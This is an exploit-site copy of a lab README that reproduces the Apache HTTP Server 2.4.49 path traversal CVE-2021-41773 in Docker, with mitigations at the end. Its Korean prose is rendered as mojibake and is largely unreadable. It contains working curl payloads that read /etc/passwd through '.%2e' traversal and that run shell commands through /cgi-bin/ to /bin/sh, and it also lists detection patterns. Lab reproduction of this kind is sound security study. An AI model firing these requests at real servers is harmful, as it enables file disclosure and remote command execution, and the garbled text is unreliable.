Share
## https://sploitus.com/exploit?id=37F8BD65-D643-54AF-B580-E48A69881D2F
ο»Ώ# CVE-2021-41773 Apache HTTP Server Path Traversal
**Contributors**
[μ΄ν¬μ(@lheeeesoo)](https://github.com/lheeeesoo)
---
Apache HTTP Server 2.4.49μλ URL κ²½λ‘λ₯Ό μ κ·ννλ κ³Όμ μμ μΈμ½λ©λ μμ κ²½λ‘λ₯Ό μ λλ‘ μ°¨λ¨νμ§ λͺ»νλ μ·¨μ½μ μ΄ μ‘΄μ¬νλ€.
곡격μλ `.%2e`μ κ°μ κ°μ μ΄μ©νμ¬ μΉ μλ²κ° 곡κ°νλλ‘ μ€μ ν λλ ν°λ¦¬ λ°μΌλ‘ μ΄λν μ μλ€. μΈλΆ λλ ν°λ¦¬μ λν μ κ·Όμ΄ νμ©λ νκ²½μμλ μλ² λ΄λΆ νμΌμ΄ λ
ΈμΆλ μ μμΌλ©°, CGI κΈ°λ₯μ΄ νμ±νλ κ²½μ°μλ μμ€ν
μ
Έμ μ€ννμ¬ μ격 λͺ
λ Ή μ€νμΌλ‘ μ΄μ΄μ§ μ μλ€.
λ³Έ νλ‘μ νΈμμλ Dockerλ₯Ό μ΄μ©ν΄ Apache HTTP Server 2.4.49 νκ²½μ μ§μ ꡬμΆνκ³ λ€μ λ κ°μ§λ₯Ό μ¬ννμλ€.
- Path Traversalμ μ΄μ©ν `/etc/passwd` νμΌ λ
ΈμΆ
- CGIλ₯Ό μ΄μ©ν μ격 λͺ
λ Ή μ€ν
---
## νλ‘μ νΈ κ΅¬μ‘°
```text
CVE-2021-41773/
βββ Dockerfile
βββ docker-compose.yml
βββ README.md
βββ apache/
β βββ httpd.conf
βββ web/
β βββ index.html
βββ scripts/
β βββ poc.sh
β βββ poc.ps1
βββ screenshots/
βββ 01-container-status.png
βββ 02-normal-service.png
βββ 03-apache-version.png
βββ 04-path-traversal.png
βββ 05-rce-whoami.png
βββ 06-poc-script.png
```
---
## νκ²½ ꡬμ±
λ€μ λͺ
λ ΉμΌλ‘ Docker μ΄λ―Έμ§λ₯Ό λΉλνκ³ μ»¨ν
μ΄λλ₯Ό μ€ν
```bash
docker compose up -d --build
```
컨ν
μ΄λ μ€ν μνλ λ€μ λͺ
λ ΉμΌλ‘ νμΈ
```bash
docker ps
```
μ€ν κ²°κ³Όμμ 컨ν
μ΄λκ° `Up` μνμ΄λ©°, νΈμ€νΈμ 8080λ² ν¬νΈκ° 컨ν
μ΄λμ 80λ² ν¬νΈμ μ°κ²°λ κ²μ νμΈ

---
## μ μ μΉ μλΉμ€ νμΈ
λΈλΌμ°μ μμ λ€μ μ£Όμλ‘ μ μνλ€.
```text
http://localhost:8080
```
μ μμ μΌλ‘ Apache μΉ νμ΄μ§κ° μΆλ ₯μΌλ‘ νκ²½ κ΅¬μ± μλ£ νμΈ

---
## Apache λ²μ νμΈ
λ€μ λͺ
λ ΉμΌλ‘ 컨ν
μ΄λ λ΄λΆμ Apache λ²μ μ νμΈ
```bash
docker compose exec web /usr/local/apache2/bin/httpd -v
```
μ€ν κ²°κ³Ό:
```text
Server version: Apache/2.4.49 (Unix)
```
CVE-2021-41773μ μν₯μ λ°λ Apache HTTP Server 2.4.49κ° μ€νλκ³ μμμ νμΈ

---
## μ·¨μ½ μ‘°κ±΄
λ³Έ μ€μ΅ νκ²½μμλ λ€μ μ‘°κ±΄μ΄ μ μ©λμ΄ μλ€.
- Apache HTTP Server 2.4.49 μ¬μ©
- Alias λ° ScriptAlias κ²½λ‘ μ¬μ©
- μΉ λ£¨νΈ λ°μ λλ ν°λ¦¬μ λν μ κ·Ό νμ©
- CGI κΈ°λ₯ νμ±ν
- Apache νλ‘μΈμ€κ° `daemon` κ³μ μΌλ‘ μ€ν
Apache μ€μ μλ λ€μκ³Ό κ°μ΄ νμΌμμ€ν
μ΅μμ κ²½λ‘μ λν μ κ·Όμ΄ νμ©λμ΄ μλ€.
```apache
AllowOverride None
Require all granted
```
λν CGI μ€νμ μν΄ λ€μ μ€μ μ μ¬μ©νμλ€.
```apache
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
AllowOverride None
Options +ExecCGI
Require all granted
```
---
## Path Traversal
λ€μ μμ²μ μΈμ½λ©λ μμ κ²½λ‘λ₯Ό μ΄μ©νμ¬ μ»¨ν
μ΄λ λ΄λΆμ `/etc/passwd` νμΌμ μ κ·Όνλ€.
```bash
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
```
`.%2e`λ URL λμ½λ© μ΄ν `..`λ‘ μ²λ¦¬λλ€.
λ°λΌμ 곡격μλ Alias κ²½λ‘λ₯Ό κΈ°μ€μΌλ‘ μ¬λ¬ λ² μμ λλ ν°λ¦¬λ‘ μ΄λν λ€ `/etc/passwd` νμΌμ μ κ·Όν μ μλ€.
μ€ν κ²°κ³Ό:
```text
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
```

`/etc/passwd`μλ μ¬μ©μλͺ
, UID, GID, ν λλ ν°λ¦¬ λ° λ‘κ·ΈμΈ μ
Έ λ± μμ€ν
κ³μ μ λ³΄κ° μ μ₯λμ΄ μλ€.
μ€μ λΉλ°λ²νΈλ ν¬ν¨λμ΄ μμ§ μμ§λ§, μ μμ μΈ μΈλΆ μΉ μ¬μ©μκ° μ κ·Όν μ μμ΄μΌ νλ μλ² λ΄λΆ νμΌμ΄ HTTP μμ²λ§μΌλ‘ λ
ΈμΆλμλ€λ μ μμ μ 보 λ
ΈμΆ μ·¨μ½μ μ΄ νμΈλλ€.
μ€μ μ΄μ νκ²½μμλ κ°μ λ°©μμΌλ‘ λ€μκ³Ό κ°μ λ―Όκ°ν μ λ³΄κ° λ
ΈμΆλ κ°λ₯μ±μ΄ μλ€.
- μ ν리μΌμ΄μ
μ€μ νμΌ
- λ°μ΄ν°λ² μ΄μ€ μ μ μ 보
- API ν€ λ° μΈμ¦ μ 보
- μμ€μ½λ
- λ‘κ·Έ νμΌ
- μΈμ¦μ λ° κ°μΈν€
---
## CGIλ₯Ό ν΅ν λͺ
λ Ή μ€ν
λ€μ μμ²μ Path Traversalμ μ΄μ©νμ¬ `/bin/sh`μ μ κ·Όνκ³ `whoami` λͺ
λ Ήμ μ€ννλ€.
```bash
curl -s --path-as-is \
-d "echo Content-Type: text/plain; echo; whoami" \
"http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
```
μ€ν κ²°κ³Ό:
```text
daemon
```

`/cgi-bin/` κ²½λ‘λ `ScriptAlias`λ‘ μ€μ λμ΄ μκΈ° λλ¬Έμ Apacheλ ν΄λΉ κ²½λ‘μ νμΌμ λ¨μν μ½λ κ²μ΄ μλλΌ CGI νλ‘κ·Έλ¨μΌλ‘ μ€ννλ€.
Path Traversalμ ν΅ν΄ `/bin/sh`μ μ κ·Όν λ€ μμ² λ³Έλ¬Έμ ν¬ν¨λ λͺ
λ Ήμ μ λ¬νλ©΄ Apache μ€ν κ³μ κΆνμΌλ‘ λͺ
λ Ήμ΄ μ€νλλ€.
λ³Έ νκ²½μμλ Apacheκ° λ€μ κ³μ μΌλ‘ μ€νλλ€.
```apache
User daemon
Group daemon
```
λ°λΌμ λͺ
λ Ή μ€ν κ²°κ³Ό μμ `daemon` κ³μ μΌλ‘ μΆλ ₯λμλ€.
root κΆνμ μλμ§λ§ λ€μκ³Ό κ°μ μΆκ°μ μΈ μνμ΄ λ°μν κ°λ₯μ±μ΄ μλ€.
- μΉ μ ν리μΌμ΄μ
νμΌ λ³μ‘°
- μ€μ νμΌ λ° μΈμ¦ μ 보 νμ·¨
- μ
μ± νμΌ λ€μ΄λ‘λ λ° μ€ν
- λ΄λΆ λ€νΈμν¬ νμ
- μΆκ° μ·¨μ½μ μ μ΄μ©ν κΆν μμΉ
---
## PoC μ€ν¬λ¦½νΈ μ€ν
κ°λ³ λͺ
λ Ή λμ PoC μ€ν¬λ¦½νΈλ₯Ό μ΄μ©νμ¬ μ μ μλΉμ€, Path Traversal, μ격 λͺ
λ Ή μ€νμ ν λ²μ νμΈν μ μλ€.
### PowerShell
```powershell
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1
```
### Bash
```bash
bash scripts/poc.sh
```
μ€ν¬λ¦½νΈλ λ€μ νλͺ©μ μμλλ‘ νμΈνλ€.
```text
[1] μ μ μλΉμ€ νμΈ
[2] Path Traversalμ ν΅ν /etc/passwd μ κ·Ό
[3] CGIλ₯Ό ν΅ν id λͺ
λ Ή μ€ν
```

---
## λμ λ°©μ
### Apache λ²μ μ
λ°μ΄νΈ
Apache HTTP Server 2.4.49λ₯Ό μ¬μ©νμ§ μκ³ λ³΄μ ν¨μΉκ° μ μ©λ μ΅μ λ²μ μΌλ‘ μ
λ°μ΄νΈν΄μΌ νλ€.
### μ΅μμ λλ ν°λ¦¬ μ κ·Ό μ°¨λ¨
μ΄μ νκ²½μμλ νμΌμμ€ν
μ΅μμ κ²½λ‘λ₯Ό κΈ°λ³Έμ μΌλ‘ μ°¨λ¨ν΄μΌ νλ€.
```apache
Require all denied
```
νμν μΉ λλ ν°λ¦¬λ§ λ³λλ‘ νμ©νλ€.
```apache
Require all granted
```
### λΆνμν CGI λΉνμ±ν
CGI κΈ°λ₯μ΄ νμνμ§ μλ€λ©΄ λ€μ κΈ°λ₯μ λΉνμ±ννλ€.
- `mod_cgi`
- `ScriptAlias`
- `ExecCGI`
### μ΅μ κΆν μ μ©
Apache νλ‘μΈμ€λ rootκ° μλ μ νλ μλΉμ€ κ³μ μΌλ‘ μ€ννκ³ , ν΄λΉ κ³μ μ΄ μ κ·Όν μ μλ νμΌκ³Ό λλ ν°λ¦¬λ₯Ό μ΅μνν΄μΌ νλ€.
### λ‘κ·Έ λͺ¨λν°λ§
λ€μκ³Ό κ°μ λΉμ μ κ²½λ‘κ° ν¬ν¨λ μμ²μ νμ§νκ³ μ°¨λ¨ν΄μΌ νλ€.
```text
.%2e
%2e%2e
/cgi-bin/
```
---
## νκ²½ μ’
λ£
```bash
docker compose down
```
---
## κ²°λ‘
λ³Έ μ€μ΅μμλ Dockerfileμ μ΄μ©νμ¬ Apache HTTP Server 2.4.49λ₯Ό λΉλνκ³ , Docker Composeλ₯Ό ν΅ν΄ μ¬ν κ°λ₯ν μ·¨μ½ νκ²½μ ꡬμ±νμλ€.
Path Traversal μμ²μ ν΅ν΄ μ μμ μΈ μΉ μ¬μ©μκ° μ κ·Όν μ μμ΄μΌ νλ 컨ν
μ΄λ λ΄λΆμ `/etc/passwd` νμΌμ΄ λ
ΈμΆλλ κ²μ νμΈνμλ€.
λν CGIκ° νμ±νλ νκ²½μμλ `/bin/sh`μ μ κ·Όνμ¬ Apache μ€ν κ³μ μΈ `daemon` κΆνμΌλ‘ μμ€ν
λͺ
λ Ήμ μ€νν μ μμμ νμΈνμλ€.
μ΄λ₯Ό ν΅ν΄ CVE-2021-41773μ΄ λ¨μν κ²½λ‘ λ
ΈμΆλΏλ§ μλλΌ νκ²½ μ€μ μ λ°λΌ μ격 λͺ
λ Ή μ€νμΌλ‘ μ΄μ΄μ§ μ μλ μ·¨μ½μ μμ νμΈν μ μλ€.
---
## μ°Έκ³ μλ£
- Apache HTTP Server Security Vulnerabilities
- NVD CVE-2021-41773
- Apache HTTP Server URL Mapping Documentation
- Apache CGI Documentation